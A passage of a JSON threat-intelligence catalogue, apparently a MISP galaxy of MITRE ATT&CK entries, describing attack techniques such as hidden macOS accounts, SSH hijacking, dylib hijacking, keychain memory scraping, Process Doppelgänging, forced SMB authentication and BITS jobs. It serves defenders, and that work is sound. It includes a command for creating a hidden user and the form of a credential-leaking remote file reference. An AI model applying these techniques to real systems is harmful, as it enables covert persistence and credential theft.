"refs": [
"https://attack.mitre.org/techniques/T1417",
"https://zeltser.com/third-party-keyboards-security/"
]
},
"uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad",
"value": "Input Capture - T1417"
},
{
"description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).",
"meta": {
"external_id": "T1147",
"refs": [
"http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf",
"https://attack.mitre.org/techniques/T1147"
]
},
"related": [
{
"dest-uuid": "8c4aef43-48d5-49aa-b2af-c0cd58d30c3d",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff",
"value": "Hidden Users - T1147"
},
{
"description": "Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.\n\nOn Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.\n\nOn iOS, apps can use private API calls to obtain a list of other apps installed on the device. (Citation: Kurtz-MaliciousiOSApps) However, use of private API calls will likely prevent the application from being distributed through Apple's App Store.",
"meta": {
"external_id": "T1418",
"kill_chain": [
"mitre-mobile-attack:defense-evasion",
"mitre-mobile-attack:discovery"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://andreas-kurtz.de/2014/09/malicious-ios-apps/",
"https://attack.mitre.org/techniques/T1418",
"https://developer.android.com/reference/android/content/pm/PackageManager.html"
]
},
"uuid": "198ce408-1470-45ee-b47f-7056050d4fc2",
"value": "Application Discovery - T1418"
},
{
"description": "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
"meta": {
"external_id": "T1184",
"refs": [
"https://attack.mitre.org/techniques/T1184",
"https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf",
"https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking",
"https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219",
"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"
]
},
"related": [
{
"dest-uuid": "4d2a5b3e-340d-4600-9123-309dd63c9bf8",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
"value": "SSH Hijacking - T1184"
},
{
"description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nThese commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",
"meta": {
"external_id": "T1481",
"kill_chain": [
"mitre-mobile-attack:command-and-control"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1481"
]
},
"uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380",
"value": "Web Service - T1481"
},
{
"description": "**This technique has been deprecated and should no longer be used.**\n\nAs of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.",
"meta": {
"external_id": "T1149",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf",
"https://attack.mitre.org/techniques/T1149",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"uuid": "a0a189c8-d3bd-4991-bf6f-153d185ee373",
"value": "LC_MAIN Hijacking - T1149"
},
{
"description": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)",
"meta": {
"external_id": "T1561",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Command: Command Execution",
"Drive: Drive Access",
"Drive: Drive Modification",
"Driver: Driver Load",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1561",
"https://docs.microsoft.com/sysinternals/downloads/sysmon",
"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
]
},
"uuid": "1988cc35-ced8-4dad-b2d1-7628488fa967",
"value": "Disk Wipe - T1561"
},
{
"description": "A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android's accessibility APIs.\n\n[Input Injection](https://attack.mitre.org/techniques/T1516) can be achieved using any of the following methods:\n\n* Mimicking user clicks on the screen, for example to steal money from a user's PayPal account.(Citation: android-trojan-steals-paypal-2fa)\n* Injecting global actions, such as `GLOBAL_ACTION_BACK` (programatically mimicking a physical back button press), to trigger actions on behalf of the user.(Citation: Talos Gustuff Apr 2019)\n* Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers.(Citation: bitwarden autofill logins)",
"meta": {
"external_id": "T1516",
"kill_chain": [
"mitre-mobile-attack:defense-evasion",
"mitre-mobile-attack:impact"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1516",
"https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html",
"https://help.bitwarden.com/article/auto-fill-android/",
"https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/"
]
},
"uuid": "d1f1337e-aea7-454c-86bd-482a98ffaf62",
"value": "Input Injection - T1516"
},
{
"description": "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.",
"meta": {
"external_id": "T1165",
"refs": [
"https://attack.mitre.org/techniques/T1165",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "c0dfe7b0-b873-4618-9ff8-53e31f70907f",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "2ba5aa71-9d15-4b22-b726-56af06d9ad2f",
"value": "Startup Items - T1165"
},
{
"description": "A malicious application can read notifications sent by the operating system or other applications, which may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. A malicious application can also dismiss notifications to prevent the user from noticing that the notifications arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass)",
"meta": {
"external_id": "T1517",
"kill_chain": [
"mitre-mobile-attack:collection",
"mitre-mobile-attack:credential-access"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1517",
"https://www.welivesecurity.com/2019/06/17/malware-google-permissions-2fa-bypass/"
]
},
"uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2",
"value": "Access Notifications - T1517"
},
{
"description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.",
"meta": {
"external_id": "CAPEC-471",
"refs": [
"https://attack.mitre.org/techniques/T1157",
"https://capec.mitre.org/data/definitions/471.html",
"https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "fc742192-19e3-466c-9eb5-964a97b29490",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "aa8bfbc9-78dc-41a4-a03b-7453e0fdccda",
"value": "Dylib Hijacking - T1157"
},
{
"description": "Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).",
"meta": {
"external_id": "CAPEC-580",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Firewall: Firewall Enumeration",
"Firewall: Firewall Metadata",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1518",
"https://capec.mitre.org/data/definitions/580.html"
]
},
"uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58",
"value": "Software Discovery - T1518"
},
{
"description": "Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).",
"meta": {
"external_id": "T1159",
"refs": [
"https://attack.mitre.org/techniques/T1159",
"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
]
},
"related": [
{
"dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "dd901512-6e37-4155-943b-453e3777b125",
"value": "Launch Agent - T1159"
},
{
"description": "Adversaries may make, forward, or block phone calls without user authorization. This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication.\n\nSeveral permissions may be used to programmatically control phone calls, including:\n\n* `ANSWER_PHONE_CALLS` - Allows the application to answer incoming phone calls(Citation: Android Permissions)\n* `CALL_PHONE` - Allows the application to initiate a phone call without going through the Dialer interface(Citation: Android Permissions)\n* `PROCESS_OUTGOING_CALLS` - Allows the application to see the number being dialed during an outgoing call with the option to redirect the call to a different number or abort the call altogether(Citation: Android Permissions)\n* `MANAGE_OWN_CALLS` - Allows a calling application which manages its own calls through the self-managed `ConnectionService` APIs(Citation: Android Permissions)\n* `BIND_TELECOM_CONNECTION_SERVICE` - Required permission when using a `ConnectionService`(Citation: Android Permissions)\n* `WRITE_CALL_LOG` - Allows an application to write to the device call log, potentially to hide malicious phone calls(Citation: Android Permissions)\n\nWhen granted some of these permissions, an application can make a phone call without opening the dialer first. However, if an application desires to simply redirect the user to the dialer with a phone number filled in, it can launch an Intent using `Intent.ACTION_DIAL`, which requires no specific permissions. This then requires the user to explicitly initiate the call or use some form of [Input Injection](https://attack.mitre.org/techniques/T1516) to programmatically initiate it.",
"meta": {
"external_id": "CEL-18",
"kill_chain": [
"mitre-mobile-attack:collection",
"mitre-mobile-attack:impact",
"mitre-mobile-attack:command-and-control"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1616",
"https://developer.android.com/reference/android/Manifest.permission",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-41.html",
"https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-18.html",
"https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-36.html",
"https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-42.html"
]
},
"uuid": "351ddf79-2d3a-41b4-9bef-82ea5d3ccd69",
"value": "Call Control - T1616"
},
{
"description": "Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background,(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence.\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)",
"meta": {
"external_id": "T1176",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"Network Traffic: Network Connection Creation",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1176",
"https://developer.chrome.com/extensions",
"https://en.wikipedia.org/wiki/Browser_extension",
"https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/",
"https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)",
"https://kjaer.io/extension-malware/",
"https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf",
"https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/",
"https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses",
"https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/",
"https://www.xorrior.com/No-Place-Like-Chrome/"
]
},
"uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8",
"value": "Browser Extensions - T1176"
},
{
"description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)",
"meta": {
"external_id": "T1167",
"refs": [
"http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain",
"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
"https://attack.mitre.org/techniques/T1167",
"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
]
},
"related": [
{
"dest-uuid": "1a80d097-54df-41d8-9d33-34e755ec5e72",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "2715c335-1bf2-4efe-9f18-0691317ff83b",
"value": "Securityd Memory - T1167"
},
{
"description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelgänging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.",
"meta": {
"external_id": "T1186",
"refs": [
"https://attack.mitre.org/techniques/T1186",
"https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/",
"https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx",
"https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx",
"https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx",
"https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx",
"https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf"
]
},
"related": [
{
"dest-uuid": "7007935a-a8a7-4c0b-bd98-4e85be8ed197",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "c1a452f3-6499-4c12-b7e9-a6a0a102af76",
"value": "Process Doppelgänging - T1186"
},
{
"description": "Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device. \n\nWhile there are many ways this can be accomplished, one method is by using the device’s sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.",
"meta": {
"external_id": "T1618",
"kill_chain": [
"mitre-mobile-attack:defense-evasion"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1618"
]
},
"related": [],
"uuid": "2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d",
"value": "User Evasion - T1618"
},
{
"description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.",
"meta": {
"external_id": "T1177",
"refs": [
"https://attack.mitre.org/techniques/T1177",
"https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://technet.microsoft.com/library/cc961760.aspx",
"https://technet.microsoft.com/library/dn408187.aspx"
]
},
"related": [
{
"dest-uuid": "f0589bc3-a6ae-425a-a3d5-5659bfee07f4",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
"value": "LSASS Driver - T1177"
},
{
"description": "Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)",
"meta": {
"external_id": "T1187",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"File: File Access",
"File: File Creation",
"File: File Modification",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1187",
"https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/",
"https://en.wikipedia.org/wiki/Server_Message_Block",
"https://github.com/hob0/hashjacking",
"https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/",
"https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf",
"https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx",
"https://www.us-cert.gov/ncas/alerts/TA17-293A"
]
},
"uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
"value": "Forced Authentication - T1187"
},
{
"description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)",
"meta": {
"external_id": "T1197",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"Network Traffic: Network Connection Creation",
"Process: Process Creation",
"Service: Service Metadata"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/",
"https://attack.mitre.org/techniques/T1197",
"https://msdn.microsoft.com/library/aa362813.aspx",
"https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx",
"https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
"https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
"https://technet.microsoft.com/library/dd939934.aspx",
"https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1",
"https://www.secureworks.com/blog/malware-lingers-with-bits",
"https://www.symantec.com/connect/blogs/malware-update-windows-update"
]
},
"uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
"value": "BITS Jobs - T1197"
},
{
